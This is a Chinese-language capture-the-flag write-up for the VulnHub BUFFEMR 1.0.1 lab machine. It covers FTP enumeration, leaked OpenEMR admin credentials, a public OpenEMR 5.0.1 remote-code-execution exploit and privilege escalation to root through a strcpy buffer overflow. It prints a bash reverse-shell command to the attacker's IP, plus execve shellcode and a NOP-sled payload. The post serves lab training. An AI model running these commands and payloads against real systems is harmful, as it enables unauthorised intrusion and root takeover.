vulnhub 靶场 BUFFEMR: 1.0.1

前期准备:

靶机地址:https://www.vulnhub.com/entry/buffemr-101,717/

kali攻击机ip:192.168.11.129
靶机ip:192.168.11.135

一、信息收集

1.使用nmap对目标靶机进行扫描

image

发现开放了 21、22 和 80 端口。

2. 21端口

匿名登录 ftp:

image

发现 share 文件夹,查看一下:

image

发现是 openemr 的源码,里面肯定藏有密码什么的,推测 80 端口上的应该是 openemr 的网站,我先把整个目录都下载下来了:

wget -r -np -nH ftp://192.168.11.135/share/openemr/

image

2. 80端口

image

查看源码也没发现什么,试着访问一下 /openemr:

image

发现了登录界面,需要密码,应该在 ftp 的文件中

image

直接搜的admin,验证后是 admin:Monster123,登录进系统:

image

二、漏洞利用

查看一下版本:

image

发现是 v5.0.1 ,找一下相关漏洞:

image

有一个远程代码执行,查看一下利用方式:

image

尝试利用:

python 45161.py http://192.168.11.135/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'

image

查看一下文件:

image

发现没有权限访问 buffemr 家目录,不过在 /var 下发现个 user.zip 压缩包,传到kali上爆破一下:

python -m SimpleHTTPServer 8009
wget http://192.168.11.135:8009/user.zip

image

image

解压时发现需要密码,爆破了很久都没爆破出来,一开始以为这个压缩包没用,后来想着密码应该在 ftp 的哪些文件中,找了很久,直接找文件名为 key 的文件

image

密码是:c2FuM25jcnlwdDNkCg==,解压 user.txt 压缩包:

image

发现了 buffemr 用户的密码:Iamgr00t, ssh 登录:

image

查看文件,发现一个 flag:

image

三、缓冲区溢出提权

查看权限和 SUID 二进制文件:

image

image

发现 /opt/dontexecute 文件比较可疑,查看一下:

image

发现这个二进制文件使用了一个名为 "strcpy" 的函数。strcpy() 函数没有指定目标数组的大小,会导致缓冲区溢出。可以尝试溢出缓冲区来运行 shell 代码获取 root 权限,先看一下 ASLR 禁用了没有:

image

发现禁用了,gdb 运行:

gdb -q dontexecute

image

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:

image

将生成的字符串用命令 r 在 gdb 中运行二进制文件:

image

程序运行崩溃,计算一下偏移量:

./pattern_offset.rb -q 0x31724130

image

计算出偏移量是 512,查看ESP寄存器的值:

x/300wx $esp

用esp 寄存器的 0xffffd6a0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:

先找个 shell:

\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

我的 shell 是 53 字节:

image

NOP:512 - 53 = 459。

所以 payload:

$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')

image

没有提权成功,在外面运行一下:

image

获得 root 权限,查看 flag:

image

posted @ 2022-01-21 14:03  sainet  阅读(921)  评论(1编辑  收藏  举报